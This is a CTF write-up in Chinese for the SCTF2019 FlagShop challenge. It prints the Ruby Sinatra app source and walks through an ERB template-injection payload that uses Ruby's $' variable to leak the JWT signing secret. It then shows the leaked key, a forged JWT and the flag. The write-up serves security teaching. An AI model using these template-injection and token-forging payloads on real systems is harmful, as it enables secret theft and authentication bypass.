SCTF2019-FlagShop
Created At : 2025-04-24 23:14
Count:1.1k
Views 👀 :
SCTF2019-FlagShop 一进来是这样的页面
点reset会重置,按work我们的JinKela就会随机增加,先抓个包看看
可以看到Cookie是标准的三段式,可以猜测是JWT,在jwt网站 进行一个解密
这里猜测我们只需要将jkl的值改写的超过买flag的值即可,所以我们现在需要寻找密钥才能修改。
查看robots.txt,提示我们访问/filebak,找到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder , File .dirname(__FILE__ ) + '/static' FLAGPRICE = 1000000000000000000000000000 ENV ["SECRET" ] = SecureRandom .hex(64 ) configure do enable :logging file = File .new(File .dirname(__FILE__ ) + '/../log/http.log' ,"a+" ) file.sync = true use Rack : :CommonLogger , fileend get "/" do redirect '/shop' , 302 end get "/filebak" do content_type :text erb IO .binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom .uuid , jkl: 20 } auth = JWT .encode payload,ENV ["SECRET" ] , 'HS256' cookies[:auth ] = authend get "/api/info" do islogin auth = JWT .decode cookies[:auth ],ENV ["SECRET" ] , true , { algorithm: 'HS256' } json({uid: auth[0 ]["uid" ],jkl: auth[0 ]["jkl" ]})end get "/shop" do erb :shop end get "/work" do islogin auth = JWT .decode cookies[:auth ],ENV ["SECRET" ] , true , { algorithm: 'HS256' } auth = auth[0 ] unless params[:SECRET ].nil ? if ENV ["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV ["FLAG" ] end end if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom .random_number(10 ) auth = JWT .encode auth,ENV ["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB : :new ("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end end post "/shop" do islogin auth = JWT .decode cookies[:auth ],ENV ["SECRET" ] , true , { algorithm: 'HS256' } if auth[0 ]["jkl" ] < FLAGPRICE then json({title: "error" ,message: "no enough jkl" }) else auth << {flag: ENV ["FLAG" ]} auth = JWT .encode auth,ENV ["SECRET" ] , 'HS256' cookies[:auth ] = auth json({title: "success" ,message: "jkl is good thing" }) end end def islogin if cookies[:auth ].nil ? then redirect to('/shop' ) end end
代码审计后主要看/work这段代码
1 2 3 4 5 6 if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl" ] = auth["jkl" ] .to_i + SecureRandom.random_number (10 ) auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth] = auth ERB::new ("<script>alert('#{params[:name][0,7]} working successfully!')</script>" ).result
条件,也就是params[:do] 是否等于 params[:name][0,7] + " is working"。
但是弹窗没有任何有用的信息,看了部分大佬的wp知道了原来是涉及了一个ruby模块注入。Ruby全局变量汇总,Ruby全局变量汇总 ,ruby教程 ,手把手教你ruby模块注入
我们要通过<%=%>进行模板注入,弹窗代码{params[:name][0,7]}使我们只能在模块中再进行2个字符的输入,也就是说我们不能够直接输入SECRET来得到我们的密钥,所以就需要用到Ruby的预定义字符了。
如果没有限制长度,可以直接输出ENV[“SECRET”]
1 /work?SECRET=&name=<%= ENV["SECRET" ] %>&do =<%= ENV["SECRET" ] %> is working
但是这里限制长度了,可以使用$‘,因为前面 if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")对ENV[‘SECRET’]进行了正则匹配,所以$’输出的就是ENV[“SECRET”]的值
$’ 最后一次模式匹配中匹配部分之后的字符串
1 /work?SECRET=&name=<%=$'%>&do =<%=$'%> is working
这里需要传一个空的SECRET是为了可以搜索SECRET参数内容,然后使 <%=$’%>返回最后一次匹配的字符串是我们的密钥。
但是不能直接传入要先进行一次url编码
1 ?SECRET=&name=%3C%25%3D%24%27%25%3E&do =%3C%25%3D%24%27%25%3E%20is%20working
抓work的包然后修改。发送查看响应包发现成功拿到密钥。
1 4 eb7215558 d02 d53 f8 f5530 a6173 c 91905448 d8 a4 d70566080 f68 db14025 f8 f00 ba79 ca763 bf909 fad17108621250 ff2150 f04503e9 b447061149076 a55 a6 fe3
密钥拿到了,然后直接进行jkl的修改使其达到能购买flag。
得到jwt即payload:
1 eyJhbGciOiJIUzI1 NiJ9 .eyJ1 aWQiOiI1 MjEyMjc0 My00 MWE4 LTRmNjgtYWVlMy0 wZDA4 NjkyOTljNjYiLCJqa2 wiOjFlKzI3 fQ.p2 mR_l3 eFdiUakt8 Z0 vFemkYsUsTLd1 DqcKG8 gQaukM
回到/shop点击buy flag然后抓包修改jwt,然后会返回一个新的Cookie,也是jwt格式,base64解码就是flag,这里只要解压前两段即可
1 eyJhbGciOiJIUzI1 NiJ9 .W3 sidWlkIjoiNTIxMjI3 NDMtNDFhOC00 ZjY4 LWFlZTMtMGQwODY5 Mjk5 YzY2 IiwiamtsIjoxLjBlKzI3 fSx7 ImFsZyI6 IkhTMjU2 In0 seyJmbGFnIjoiZmxhZ3 sxYjU0 NjlhYy0 xZGFmLTQ4 N2 EtOGIxYi0 xZjZjMzdiN2 FhMDF9 In1 d
base64解码
1 {"alg":"HS256" }[{"uid" :"52122743-41a8-4f68-aee3-0d0869299c66" ,"jkl" :1.0e+27},{"alg" :"HS256" },{"flag" :"flag{1b5469ac-1daf-487a-8b1b-1f6c37b7aa01}" }]
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。